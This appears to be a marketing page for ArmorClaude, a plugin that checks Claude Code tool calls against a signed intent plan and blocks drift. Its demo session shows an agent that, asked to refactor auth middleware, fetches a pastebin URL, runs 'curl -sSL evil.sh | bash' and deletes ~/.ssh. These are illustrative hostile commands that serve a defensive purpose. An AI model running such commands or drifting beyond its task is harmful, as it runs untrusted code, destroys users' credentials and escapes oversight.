ArmorClaude
Intent-based security enforcement for Claude Code.
Every tool call Claude makes is verified against a signed intent plan before it runs. No surprises. No silent drift. Full audit trail.
$ curl -fsSL https://armoriq.ai/install_armorclaude.sh | bashClaude acts before you can review
Claude Code is powerful. That's the problem. In a single turn it can read your configs, write to your filesystem, call external APIs, and run shell commands - all without your team knowing why.
Traditional security tools check who accessed what. They can't verify why. ArmorClaude closes that gap by binding every tool call to a declared, cryptographically signed intent plan.
Same prompt. No supervision. Quiet drift.
- $ claude
- > "Refactor the auth middleware to use cookies"
- ✓ Read auth/middleware.ts
- ✓ Edit auth/middleware.ts
- ✓ WebFetch https://pastebin.com/raw/abc123
- ✓ Bash curl -sSL evil.sh | bash
- ✓ Bash rm -rf ~/.ssh
- # session ends · no audit · no trail
Toggle cycles every 6s. Hover to hold.
Claude proposes. ArmorClaude approves.
ArmorClaude binds every tool call to a signed intent plan.
Before Claude runs a tool, ArmorClaude makes Claude declare what it intends to do. Every tool call is checked against that declaration. Drift gets denied. The receipt writes itself.
Intent plan captured
At UserPromptSubmit, Claude is asked to call register_intent_plan first. It produces a structured plan, signed with a TTL.
Every tool checked
At PreToolUse, ArmorClaude verifies the tool is in the plan, checks token TTL, evaluates policy rules, and optionally verifies CSRG Merkle proofs.
Audit log emitted
At PostToolUse, every tool result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.
- 01
Intent drift blocked
Tool calls not in the declared plan are denied before they run.
// PreToolUseBLOCKED - 02
Token-scoped execution
Every session gets a signed intent token with a configurable TTL.
// PreToolUse · tokenEXPIRED → BLOCKED - 03
PCI / PHI / PII detection
Automatic data-class detection in tool parameters at the hook layer.
// PreToolUse · argsPII MATCH → BLOCKED - 04
Fail-closed security
No intent token, expired token, or planning failure means all tools are blocked.
// any hookFAIL-CLOSED
Up and running in 5 minutes
$ claude plugin marketplace add armoriq/armorClaude claude plugin install armorclaude@armoriq
- // step 01
Check requirements
You need Claude Code 2.x and Node.js 20+. An ArmorIQ API key is optional, local enforcement works without one.
claude --version # need 2.x node --version # need v20+
- // step 03
Verify the plugin is active
claude plugin list # ❯ armorclaude@armoriq Status: ✔ enabled claude mcp list | grep armorclaude # plugin:armorclaude:armorclaude-policy: ✓ Connected
- // step 04
Connect to ArmorIQ (optional)
Get a free API key at armoriq.ai. Without it, ArmorClaude still enforces local policies and intent.
export ARMORIQ_API_KEY=your_key_here
Or set it via /plugin → Configure → api_key inside Claude Code.
Configuration, environment & policy reference
Click any row to expand. Every setting, command, and hook is documented here.
Seven Claude Code lifecycle hooks. Zero changes to your workflow.
Session initialized
Prints active mode (ENFORCING / MONITOR) in context. Sets up session state and prunes stale sessions.
Intent plan captured
Injects a directive telling Claude to call register_intent_plan first. Claude produces a structured plan, no extra API calls.
Every tool checked
Verifies the tool is in the plan, checks token TTL, evaluates policy rules, and optionally verifies CSRG Merkle proofs.
Audit log emitted
Every tool result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.
Ready to enforce intent in your Claude Code sessions?
Connect to ArmorIQ to get signed tokens, audit logs, and cryptographic proofs for every agent action.